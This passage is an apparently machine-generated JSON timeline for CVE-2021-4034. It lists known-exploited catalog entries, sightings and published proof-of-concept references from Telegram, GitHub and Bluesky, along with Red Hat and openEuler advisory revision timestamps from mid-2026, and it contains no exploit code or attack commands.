"https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/06d9b1fc-192a-4195-96cb-c7160840fc4a", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "45cfa483-baaa-46e8-a63d-a64eefbfd743", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/06d9b1fc-192a-4195-96cb-c7160840fc4a"}, {"timestamp": "2026-06-23T11:11:17Z", "date_only": false, "value": "2026-06-23T11:11:17+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2021-4034", "field": "timestamps.recorded_at", "uuid": "c7b605ce-d967-4e13-b03c-c359aacadabf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T11:13:57.880Z", "date_only": false, "value": "2026-06-23T11:13:57.880983Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/c7b605ce-d967-4e13-b03c-c359aacadabf", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "cc964a08-32cb-418f-be60-a439bf1f152b", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/c7b605ce-d967-4e13-b03c-c359aacadabf"}, {"timestamp": "2026-06-23T14:05:30.153Z", "date_only": false, "value": "2026-06-23T14:05:30.153576Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/633eb3db-5bc8-4264-b9ea-d8076418f6e1", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6e9b4c65-d290-49f8-81a5-1a36d74ec6b3", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/633eb3db-5bc8-4264-b9ea-d8076418f6e1"}, {"timestamp": "2026-07-12T11:43:58.745Z", "date_only": false, "value": "2026-07-12T11:43:58.745438Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/wwerto543/4032530a94dd5a1302a132f04d4dddec", "record": "cve-2021-4034", "field": "creation_timestamp", "uuid": "b149b255-75ec-4f5a-be41-b261019844d5", "url": "https://gist.github.com/wwerto543/4032530a94dd5a1302a132f04d4dddec"}, {"timestamp": "2026-07-13T22:00:06.507Z", "date_only": false, "value": "2026-07-13T22:00:06.507948Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/92661", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "820d2346-9b0d-4679-9d0a-5f363e4faaeb", "url": "https://t.me/GithubRedTeam/92661"}, {"timestamp": "2026-07-13T22:00:21.663Z", "date_only": false, "value": "2026-07-13T22:00:21.663797Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/90132", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "14b60d8c-820d-434f-9aab-785730501de1", "url": "https://t.me/GithubRedTeam/90132"}, {"timestamp": "2026-07-14T00:00:09.916Z", "date_only": false, "value": "2026-07-14T00:00:09.916123Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/92661", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "a37c2d68-e5f5-44cb-ae39-35ed0380532e", "url": "https://t.me/GithubRedTeam/92661"}, {"timestamp": "2026-07-14T00:00:37.588Z", "date_only": false, "value": "2026-07-14T00:00:37.588343Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/90132", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "39a454ca-8f33-4fa2-a81f-daac399cbb65", "url": "https://t.me/GithubRedTeam/90132"}, {"timestamp": "2026-07-15T00:00:18.942Z", "date_only": false, "value": "2026-07-15T00:00:18.942017Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/90132", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "54aec1eb-e2ba-4cd5-a2a3-d8ca2a0ec8d7", "url": "https://t.me/GithubRedTeam/90132"}, {"timestamp": "2026-07-15T00:00:33.836Z", "date_only": false, "value": "2026-07-15T00:00:33.836017Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/92661", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "9138f921-535b-451d-aefc-d7ea30630070", "url": "https://t.me/GithubRedTeam/92661"}, {"timestamp": "2026-07-16T14:00:04.742Z", "date_only": false, "value": "2026-07-16T14:00:04.742067Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/OxAA55/123", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "9de82e49-f648-4c3d-8932-600ca875d97d", "url": "https://t.me/OxAA55/123"}, {"timestamp": "2026-07-16T19:00:15.311Z", "date_only": false, "value": "2026-07-16T19:00:15.311692Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Tcqh02NKjGxYGJtUMQTkfxPUgRWmBkGud2qg4EWjuqsxH1Q", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "77732a10-ab58-4f12-b8ac-fc46327de42f"}, {"timestamp": "2026-07-17T00:00:30.751Z", "date_only": false, "value": "2026-07-17T00:00:30.751655Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Tcqh02NKjGxYGJtUMQTkfxPUgRWmBkGud2qg4EWjuqsxH1Q", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "264c3005-96c6-496a-8031-2f23b79e33bd"}, {"timestamp": "2026-07-17T00:00:52.807Z", "date_only": false, "value": "2026-07-17T00:00:52.807638Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/OxAA55/123", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "25752dd2-6bc8-42a6-a90b-0078784bbe46", "url": "https://t.me/OxAA55/123"}, {"timestamp": "2026-07-17T11:00:09.055Z", "date_only": false, "value": "2026-07-17T11:00:09.055250Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/115", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "103cbce7-9ba9-4662-a195-bfac2005b11f", "url": "https://t.me/cyberwarehouse/115"}, {"timestamp": "2026-07-18T00:00:27.573Z", "date_only": false, "value": "2026-07-18T00:00:27.573662Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/115", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3d4d9029-824e-4253-9e1c-d06e7b4e0a6b", "url": "https://t.me/cyberwarehouse/115"}, {"timestamp": "2026-07-18T00:00:41.922Z", "date_only": false, "value": "2026-07-18T00:00:41.922593Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Tcqh02NKjGxYGJtUMQTkfxPUgRWmBkGud2qg4EWjuqsxH1Q", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "f8427b64-c1a8-46fc-a323-3ec3d6db2cb5"}, {"timestamp": "2026-07-21T02:00:05.732Z", "date_only": false, "value": "2026-07-21T02:00:05.732659Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cybersecurity404/93898", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "97c6de07-42c8-4f4c-8b3b-3ea543989292", "url": "https://t.me/cybersecurity404/93898"}, {"timestamp": "2026-07-22T00:00:34.110Z", "date_only": false, "value": "2026-07-22T00:00:34.110282Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cybersecurity404/93898", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "98f64fc4-9f59-4162-a2ff-a2ce07253604", "url": "https://t.me/cybersecurity404/93898"}, {"timestamp": "2026-07-24T18:15:04.176Z", "date_only": false, "value": "2026-07-24T18:15:04.176067Z", "kind": "sighting", "label": "Seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "25424b56-6d40-4640-b51b-58708724741d"}, {"timestamp": "2026-07-25T00:15:05.657Z", "date_only": false, "value": "2026-07-25T00:15:05.657573Z", "kind": "sighting", "label": "Seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1fb5d0fa-f6f1-4cbe-8e25-d594b5f2bf83"}, {"timestamp": "2026-07-26T02:02:53.769Z", "date_only": false, "value": "2026-07-26T02:02:53.769259Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/402", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "23386c93-295c-4177-811d-38608b5b56d5", "url": "https://t.me/EchelonEyes/402"}, {"timestamp": "2026-07-26T07:01:07.731Z", "date_only": false, "value": "2026-07-26T07:01:07.731237Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/666", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "9e5e060f-e31f-4496-8560-6abbf3fd6930", "url": "https://t.me/EchelonEyes/666"}, {"timestamp": "2026-07-27T00:01:16.669Z", "date_only": false, "value": "2026-07-27T00:01:16.669599Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/666", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8e4745fe-95fe-4f9e-82cd-776a395aaba9", "url": "https://t.me/EchelonEyes/666"}, {"timestamp": "2026-07-27T00:01:21.961Z", "date_only": false, "value": "2026-07-27T00:01:21.961166Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/402", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "a5017920-7f55-43f1-9003-57727338f87b", "url": "https://t.me/EchelonEyes/402"}, {"timestamp": "2026-07-28T09:00:08.121Z", "date_only": false, "value": "2026-07-28T09:00:08.121838Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/EchelonEyes/666", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "ef407e0e-56ad-44b2-9339-7008c3739e27", "url": "https://t.me/EchelonEyes/666"}, {"timestamp": "2026-07-28T13:00:04.630Z", "date_only": false, "value": "2026-07-28T13:00:04.630959Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/402", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "df1e96f2-0d3d-4ebc-a8d9-e4d2bf38b397", "url": "https://t.me/EchelonEyes/402"}, {"timestamp": "2026-07-29T00:00:36.779Z", "date_only": false, "value": "2026-07-29T00:00:36.779936Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/402", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "eb681868-8d79-416d-b7e6-7d6dbf9cec07", "url": "https://t.me/EchelonEyes/402"}, {"timestamp": "2026-07-29T00:00:42.298Z", "date_only": false, "value": "2026-07-29T00:00:42.298235Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/EchelonEyes/666", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "f83511cc-5c8f-4703-9411-568886c7ccda", "url": "https://t.me/EchelonEyes/666"}, {"timestamp": "2026-07-29T12:01:08.558Z", "date_only": false, "value": "2026-07-29T12:01:08.558488Z", "kind": "sighting", "label": "Seen", "source": "Telegram/O5hzzC_II3SzpGd6If0hILmcxanecYJuDud1eiSqYxdduUs", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "43c211fb-a746-4f56-85f4-94504811010e"}, {"timestamp": "2026-07-29T12:01:08.765Z", "date_only": false, "value": "2026-07-29T12:01:08.765441Z", "kind": "sighting", "label": "Seen", "source": "Telegram/T414amcdJe9cH4IYgG2f-quYQxHPPljrwEOnV4qV2-Nzh2g", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "a005bd44-e276-4871-b82f-fd1888614fe1"}, {"timestamp": "2026-07-29T12:02:46.204Z", "date_only": false, "value": "2026-07-29T12:02:46.204252Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2053", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "5c4ca504-c1eb-4262-bc68-3351dd667d60", "url": "https://t.me/reverseame/2053"}, {"timestamp": "2026-07-29T12:02:46.249Z", "date_only": false, "value": "2026-07-29T12:02:46.249876Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2055", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "0bba4cbf-88ce-4057-89d5-60d6f7677d56", "url": "https://t.me/reverseame/2055"}, {"timestamp": "2026-07-30T00:01:47.758Z", "date_only": false, "value": "2026-07-30T00:01:47.758609Z", "kind": "sighting", "label": "Seen", "source": "Telegram/O5hzzC_II3SzpGd6If0hILmcxanecYJuDud1eiSqYxdduUs", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "001f2cd0-fcb0-4abf-bfae-a3fc74c499a9"}, {"timestamp": "2026-07-30T00:01:47.849Z", "date_only": false, "value": "2026-07-30T00:01:47.849333Z", "kind": "sighting", "label": "Seen", "source": "Telegram/T414amcdJe9cH4IYgG2f-quYQxHPPljrwEOnV4qV2-Nzh2g", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "9552df2e-8df7-48fd-ad90-0d3553e747c2"}, {"timestamp": "2026-07-30T00:02:39.677Z", "date_only": false, "value": "2026-07-30T00:02:39.677261Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2053", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "f26ab516-2497-44dd-8e39-85b907c23f3c", "url": "https://t.me/reverseame/2053"}, {"timestamp": "2026-07-30T00:02:39.720Z", "date_only": false, "value": "2026-07-30T00:02:39.720979Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2055", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "88f33e63-9cd1-4b07-9e90-3f6dfc452c1d", "url": "https://t.me/reverseame/2055"}, {"timestamp": "2026-08-01T09:00:05.826Z", "date_only": false, "value": "2026-08-01T09:00:05.826960Z", "kind": "sighting", "label": "Seen", "source": "Telegram/O5hzzC_II3SzpGd6If0hILmcxanecYJuDud1eiSqYxdduUs", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "48619f2c-6f9b-47aa-84c2-b39f6d9c3b22"}, {"timestamp": "2026-08-02T00:01:09.381Z", "date_only": false, "value": "2026-08-02T00:01:09.381097Z", "kind": "sighting", "label": "Seen", "source": "Telegram/O5hzzC_II3SzpGd6If0hILmcxanecYJuDud1eiSqYxdduUs", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2ce4895f-4cdb-4b4f-961a-1743ddee9c79"}, {"timestamp": "2026-08-03T02:03:58.974Z", "date_only": false, "value": "2026-08-03T02:03:58.974788Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/2055", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "4d2a82f9-f229-4d83-b44c-fc24a3c05680", "url": "https://t.me/reverseame/2055"}, {"timestamp": "2026-08-03T02:06:09.098Z", "date_only": false, "value": "2026-08-03T02:06:09.098115Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/2053", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3e213cf5-cbca-44dc-b6e0-05c906dcab31", "url": "https://t.me/reverseame/2053"}, {"timestamp": "2026-08-04T00:00:52.919Z", "date_only": false, "value": "2026-08-04T00:00:52.919896Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/2055", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "de875840-a446-43e5-8d41-83919448f9b9", "url": "https://t.me/reverseame/2055"}, {"timestamp": "2026-08-04T00:00:52.964Z", "date_only": false, "value": "2026-08-04T00:00:52.964921Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/2053", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "da6e3198-e882-4bb9-bcd3-1cd01a747962", "url": "https://t.me/reverseame/2053"}, {"timestamp": "2026-08-04T13:00:18.645Z", "date_only": false, "value": "2026-08-04T13:00:18.645948Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/REDTalk_base/96", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b3ea577d-0d7d-4506-95cf-2f2dbc0f049b", "url": "https://t.me/REDTalk_base/96"}, {"timestamp": "2026-08-04T13:00:18.694Z", "date_only": false, "value": "2026-08-04T13:00:18.694942Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/REDTalk_base/58", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "34806649-24f1-4358-890e-af838b89a3e3", "url": "https://t.me/REDTalk_base/58"}, {"timestamp": "2026-08-04T21:49:21.031Z", "date_only": false, "value": "2026-08-04T21:49:21.031130Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/salexunic/57897e60ba5e71bbc99dd59e7e70e04f", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "dbf1e186-059b-4be9-9744-9e51d458fefe", "url": "https://gist.github.com/salexunic/57897e60ba5e71bbc99dd59e7e70e04f"}, {"timestamp": "2026-08-05T00:00:35.131Z", "date_only": false, "value": "2026-08-05T00:00:35.131738Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/REDTalk_base/96", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "fd0aa829-3edb-42e8-ac16-1d6ad922abc6", "url": "https://t.me/REDTalk_base/96"}, {"timestamp": "2026-08-05T00:00:35.205Z", "date_only": false, "value": "2026-08-05T00:00:35.205468Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/REDTalk_base/58", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c508d185-4866-49cb-b505-f98072eab01a", "url": "https://t.me/REDTalk_base/58"}, {"timestamp": "2026-08-06T00:00:59.321Z", "date_only": false, "value": "2026-08-06T00:00:59.321595Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/REDTalk_base/58", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "15b84ea6-37d5-400f-939a-4f156c304b93", "url": "https://t.me/REDTalk_base/58"}, {"timestamp": "2026-08-06T00:00:59.493Z", "date_only": false, "value": "2026-08-06T00:00:59.493910Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/REDTalk_base/96", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "d5f664e9-bf9b-4b66-a7e7-08a683da2465", "url": "https://t.me/REDTalk_base/96"}, {"timestamp": "2026-08-06T11:04:46Z", "date_only": false, "value": "2026-08-06T11:04:46Z", "kind": "other", "label": "Updated", "source": "osv_openeuler \u00b7 OESA-2022-1502", "record": "OESA-2022-1502", "field": "modified"}, {"timestamp": "2026-08-07T02:38:17Z", "date_only": false, "value": "2026-08-07T02:38:17+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0265", "record": "RHSA-2022:0265", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:17Z", "date_only": false, "value": "2026-08-07T02:38:17+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0266", "record": "RHSA-2022:0266", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:17Z", "date_only": false, "value": "2026-08-07T02:38:17+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0268", "record": "RHSA-2022:0268", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:17Z", "date_only": false, "value": "2026-08-07T02:38:17+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0265", "record": "RHSA-2022:0265", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:17Z", "date_only": false, "value": "2026-08-07T02:38:17+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0266", "record": "RHSA-2022:0266", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:17Z", "date_only": false, "value": "2026-08-07T02:38:17+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0268", "record": "RHSA-2022:0268", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:17Z", "date_only": false, "value": "2026-08-07T02:38:17+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0265", "record": "RHSA-2022:0265", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T02:38:17Z", "date_only": false, "value": "2026-08-07T02:38:17+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0266", "record": "RHSA-2022:0266", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T02:38:17Z", "date_only": false, "value": "2026-08-07T02:38:17+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0268", "record": "RHSA-2022:0268", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0269", "record": "RHSA-2022:0269", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0270", "record": "RHSA-2022:0270", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0271", "record": "RHSA-2022:0271", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0272", "record": "RHSA-2022:0272", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0273", "record": "RHSA-2022:0273", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0269", "record": "RHSA-2022:0269", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0270", "record": "RHSA-2022:0270", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0271", "record": "RHSA-2022:0271", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0272", "record": "RHSA-2022:0272", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0273", "record": "RHSA-2022:0273", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0269", "record": "RHSA-2022:0269", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0270", "record": "RHSA-2022:0270", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0271", "record": "RHSA-2022:0271", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0272", "record": "RHSA-2022:0272", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T02:38:18Z", "date_only": false, "value": "2026-08-07T02:38:18+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0273", "record": "RHSA-2022:0273", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T02:38:22Z", "date_only": false, "value": "2026-08-07T02:38:22+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:22Z", "date_only": false, "value": "2026-08-07T02:38:22+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:22Z", "date_only": false, "value": "2026-08-07T02:38:22+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T02:38:25Z", "date_only": false, "value": "2026-08-07T02:38:25+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-08-07T02:38:25Z", "date_only": false, "value": "2026-08-07T02:38:25+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "document.tracking.generator.date"}, {"timestamp": "2026-08-07T02:38:25Z", "date_only": false, "value": "2026-08-07T02:38:25+00:00", "kind": "other", "label": "Updated", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-08-07T21:53:11.993Z", "date_only": false, "value": "2026-08-07T21:53:11.993721Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3msjk5xgte42m", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1f2d4d46-e0d1-4ab3-9af4-91dd3aaee75d", "url": "https://bsky.app/profile/infosecbot.bsky.social/post/3msjk5xgte42m"}, {"timestamp": "2026-08-09T10:42:47.414Z", "date_only": false, "value": "2026-08-09T10:42:47.414788Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/linux_sup/344", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "5da1e460-2429-4456-829a-bd2f6de62358", "url": "https://t.me/linux_sup/344"}, {"timestamp": "2026-08-10T00:00:28.314Z", "date_only": false, "value": "2026-08-10T00:00:28.314282Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/linux_sup/344", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "828d5616-c359-4216-86df-c569974ab715", "url": "https://t.me/linux_sup/344"}, {"timestamp": "2026-08-15T03:55:29.140Z", "date_only": false, "value": "2026-08-15T03:55:29.140Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2021-4034", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-08-15T03:55:29.140Z", "date_only": false, "value": "2026-08-15T03:55:29.140Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2021-4034", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2026-08-15T04:17:57.927Z", "date_only": false, "value": "2026-08-15T04:17:57.927", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-4034", "record": "FKIE_CVE-2021-4034", "field": "lastModified"}, {"timestamp": "2026-08-15T05:11:21.582Z", "date_only": false, "value": "2026-08-15T05:11:21.582514Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mt3vvvkreu2x", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2c610f85-0f7f-47ff-86c5-5b02840c3a0e", "url": "https://bsky.app/profile/vulnsea.com/post/3mt3vvvkreu2x"}, {"timestamp": "2026-08-15T05:31:03.790Z", "date_only": false, "value": "2026-08-15T05:31:03.790761Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mt3wz56hlx2n", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "70bb1d15-8c92-45f2-8442-50ecdca4e84c", "url": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mt3wz56hlx2n"}, {"timestamp": "2026-08-15T08:00:09.867Z", "date_only": false, "value": "2026-08-15T08:00:09.867903Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/aktivcons/1836", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "aa91ebee-1470-4a9f-a0b3-0b9e206cc267", "url": "https://t.me/aktivcons/1836"}, {"timestamp": "2026-08-16T05:47:39.952Z", "date_only": false, "value": "2026-08-16T05:47:39.952103Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mt6ifqgf4e2o", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "d98f2f75-00f1-4d0f-a7c7-284285f21904", "url": "https://bsky.app/profile/cvemon.bsky.social/post/3mt6ifqgf4e2o"}, {"timestamp": "2026-08-16T19:00:04.751Z", "date_only": false, "value": "2026-08-16T19:00:04.751775Z", "kind": "sighting", "label": "Seen", "source": 